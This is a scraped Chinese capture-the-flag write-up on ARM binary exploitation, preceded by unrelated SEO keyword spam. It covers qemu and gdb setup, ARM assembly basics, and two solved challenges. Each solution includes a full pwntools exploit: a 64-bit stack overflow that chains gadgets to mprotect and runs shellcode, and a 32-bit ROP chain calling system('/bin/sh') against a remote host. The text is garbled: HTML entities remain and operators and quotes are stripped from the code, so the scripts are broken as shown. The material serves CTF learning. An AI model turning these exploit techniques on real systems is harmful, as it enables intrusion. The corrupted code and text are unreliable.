网站制作费用一览表,公众号图片wordpress,wordpress 文字链接,建设银行手机银行网站用户名是什么原因32位和64位下的arm_pwn初探前言#xff1a;pwn的学习之路一直在进行#xff0c;今天看了arm_pwn#xff0c;搞环境就搞了半天#xff0c;琢磨工具使用到做题#xff0c;这里总结下#xff0c;希望能帮助到大家#xff0c;少走一点弯路#xff0c;后期有机会继续更新。一… 32位和64位下的arm_pwn初探前言pwn的学习之路一直在进行今天看了arm_pwn搞环境就搞了半天琢磨工具使用到做题这里总结下希望能帮助到大家少走一点弯路后期有机会继续更新。一、环境配置环境是一大玄学问题这里仅仅是 我Ubuntu16.04下的环境配置亲测有效但是遇到玄学的问题时也请留言努力帮大家解决。#安装qemuapt-get install qemu#更新一下sudo apt-get update#安装32位的依赖库sudo apt-get install -y gcc-arm-linux-gnueabi#运行32位的动态链接程序方法qemu-arm -L /usr/arm-linux-gnueabi ./文件#安装64位的依赖库sudo apt-get install -y gcc-aarch64-linux-gnu g-aarch64-linux-gnu#运行64位的动态链接程序方法qemu-aarch64 -L /usr/aarch64-linux-gnu ./文件#安装gdb调试工具sudo apt-get install git gdb gdb-multiarch#32位程序下断调试步骤qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./文件(窗口1)gdb-multiarch ./文件(窗口2)pwndbg target remote :1234pwndbg b *0x8bb0#64位程序下断调试步骤qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./文件(窗口1)gdb-multiarch ./文件(窗口2)pwndbg target remote :1234pwndbg b *0x8bb0二、arm汇编基础环境起来了就可以像平时一样分析漏洞打题了但是还是有不同的地方1、arm32只有16个32bit的通用寄存器r0到r12lrpcsp函数调用时前4个参数是压入寄存器的(r0、r1、r2、r3)后面的参数是压入栈中的2、arm64有32个64bit长度的通用寄存器x0到x30以及sp函数调用时前8个参数都是通过寄存器来传递x0到x73、用一张图熟悉常见的arm汇编指令4、举几个常见的汇编代码ldr r0,[r1, #4] //将内存单元R14中的字读取到R0寄存器中同时R1R14add r1,r2,#1 //表示r1r21 即寄存器r1的值等于寄存器r2的值加上1b、bl //相当于callBIC R1, R1, #0x0F //将R1 低4位清0mov r1,#4096 //r1 4096msr cpsrr0 //复制r0到cpsr中str r1,[r2,#4] //将r1的数据保存到地址为r24的内存单元中sub r1,r2,#1 //表示r1r2-15、lr、sp、pc三大寄存器 堆栈指针r13(SP)每一种异常模式都有其自己独立的r13它通常指向异常模式所专用的堆栈也就是说五种异常模式、非异常模式(用户模式和系统模式)都有各自独立的堆栈用不同的堆栈指针来索引。这样当ARM进入异常模式的时候程序就可以把一般通用寄存器压入堆栈返回时再出栈保证了各种模式下程序的状态的完整性。 连接寄存器r14(LR)每种模式下r14都有自身版组它有两个特殊功能。 (1)保存子程序返回地址。使用BL或BLX时跳转指令自动把返回地址放入r14中子程序通过把r14复制到PC来实现返回通常用下列指令之一 MOV PC, LR BX LR 通常子程序这样写保证了子程序中还可以调用子程序。 stmfd sp!, {lr} …… ldmfd sp!, {pc} (2)当异常发生时异常模式的r14用来保存异常返回地址将r14如栈可以处理嵌套中断。 程序计数器r15(PC)PC是有读写限制的。当没有超过读取限制的时候读取的值是指令的地址加上8个字节由于ARM指令总是以字对齐的故bit[1:0]总是00。当用str或stm存储PC的时候偏移量有可能是8或12等其它值。在V3及以下版本中写入bit[1:0]的值将被忽略而在V4及以上版本写入r15的bit[1:0]必须为00否则后果不可预测。如果通俗地理解就是lrraxsprsppcrip相对的x30是存放ret地址三、做题实战1、64位下的arm程序可以看到程序除了NX什么也没有开ida分析下逻辑先读0x200字节到bss段中然后再栈溢出漏洞点相当简单既然有读到栈上我们就直接填shellcode然后改写下bss权限为7即可但是这是在arm的环境下所以实现起来相对困难一点点首先ida直接分析栈偏移是不行的我们可以通过cyclic去计算出偏移(动态调试一下即可)可以算出偏移为72接着我们要栈溢出执行mprotect这里三个参数都要满足比较辛苦但是我们可以通过中级栈溢出的方式去得到text:00000000004008AC loc_4008AC ; CODE XREF: sub_40086860↓j.text:00000000004008AC LDR X3, [X21,X19,LSL#3] // x3[x21x19*8].text:00000000004008B0 MOV X2, X22 //x2x22.text:00000000004008B4 MOV X1, X23 //x1x23.text:00000000004008B8 MOV W0, W24 // w0w24(低位).text:00000000004008BC ADD X19, X19, #1 // x19x191.text:00000000004008C0 BLR X3 // call x3.text:00000000004008C4 CMP X19, X20 ; .text:00000000004008C8 B.NE loc_4008AC // jmp if not equal.text:00000000004008CC.text:00000000004008CC loc_4008CC ; CODE XREF: sub_4008683C↑j.text:00000000004008CC LDP X19, X20, [SP,#var_s10] ; //x19sp0x10x20[sp0x18].text:00000000004008D0 LDP X21, X22, [SP,#var_s20] //x21sp0x20x22[sp0x28].text:00000000004008D4 LDP X23, X24, [SP,#var_s30] //x23sp0x30x24[sp0x38].text:00000000004008D8 LDP X29, X30, [SPvar_s0],#0x40 ; Load Pair //x29[sp], x30[sp8].text:00000000004008DC RET //ret [x30]根据前面学的arm的汇编基础我们很容易将代码读懂这里我做了注释方便看清楚。好了知道意思后利用就和elf文件一样我们控制好参数写个集成函数即可这里有个坑点就是填got表是无法实现调用的因为arm不太一样这里我们需要伪造一个mprotect_plt的got表实现调用可以将mprotect_plt写到bss上就搞定了执行完我们再ret我们的shellcode的位置既可下面上expfrom pwn import *bin_elf ./64armcontext.binary bin_elfcontext.log_level debugif sys.argv[1] r: p remote(106.75.126.171,33865)elif sys.argv[1] l: p process([qemu-aarch64, -L, /usr/aarch64-linux-gnu/,bin_elf])else: p process([qemu-aarch64, -g, 1234, -L, /usr/aarch64-linux-gnu/, bin_elf])elf ELF(bin_elf)sl lambda s : p.sendline(s)sd lambda s : p.send(s)rc lambda n : p.recv(n)ru lambda s : p.recvuntil(s)ti lambda : p.interactive()def debug(addr,PIETrue): if PIE: text_base int(os.popen(pmap {}| awk {{print $1}}.format(p.pid)).readlines()[1], 16) gdb.attach(p,b *{}.format(hex(text_baseaddr))) else: gdb.attach(p,b *{}.format(hex(addr)))def bk(addr): gdb.attach(p,b *str(hex(addr)))gadget1 0x00004008CCgadget2 0x00004008ACbss 0x0000411068mprotect 0x000400600ru(Name:)shellcode asm(shellcraft.aarch64.sh())py py p64(mprotect)py shellcodesl(py)def middle_stackoverlow(offset,x0,x1,x2,function_addr,ret_addr): py py a*offset py p64(gadget1) py p64(0) py p64(gadget2) py p64(0) py p64(1) py p64(function_addr) py p64(x2)#x22x2 py p64(x1)#x23x1 py p64(x0)#24x0 py p64(0) py p64(ret_addr) sl(py)middle_stackoverlow(72,0x411000,0x1000,0x7,bss,bss8)p.interactive()2、32位下的arm程序一样保护几乎没开ida分析一波ida静态分析可能不是很好看所以进行黑盒测试直接运行看可以知道先换行然后再输入内容会回显那个英文还是个循环没了。所以关键就是第二次输入没开canary猜想是栈溢出的题目直接cyclic动态调试可以计算偏移112同时程序有system和binsh的后门根据rop我们pop参数到r0即可实现调用from pwn import *bin_elf ./armcontext.binary bin_elfcontext.log_level debugif sys.argv[1] r: p remote(106.75.126.171,33865)elif sys.argv[1] l: p process([qemu-arm, -L, /usr/arm-linux-gnueabi,bin_elf])else: p process([qemu-arm, -g, 1234, -L, /usr/arm-linux-gnueabi, bin_elf])elf ELF(bin_elf)sl lambda s : p.sendline(s)sd lambda s : p.send(s)rc lambda n : p.recv(n)ru lambda s : p.recvuntil(s)ti lambda : p.interactive()def debug(addr,PIETrue): if PIE: text_base int(os.popen(pmap {}| awk {{print $1}}.format(p.pid)).readlines()[1], 16) gdb.attach(p,b *{}.format(hex(text_baseaddr))) else: gdb.attach(p,b *{}.format(hex(addr)))def bk(addr): gdb.attach(p,b *str(hex(addr)))pop_r0_r4_ret 0x00020904binsh 0x006C384system_plt 0x00110B4ru(if you want to quit)sl()py py a*112py p32(pop_r0_r4_ret)py p32(binsh)py p32(0)py p32(system_plt)ru(------Begin------)sl(py)p.interactive()总结综上其实还有种题目是leak出地址然后再system去getshellelf文件中很常见的ret2libc但是呢目前还没遇到等遇到了再做更新~参考链接https://xz.aliyun.com/t/3744https://xz.aliyun.com/t/3154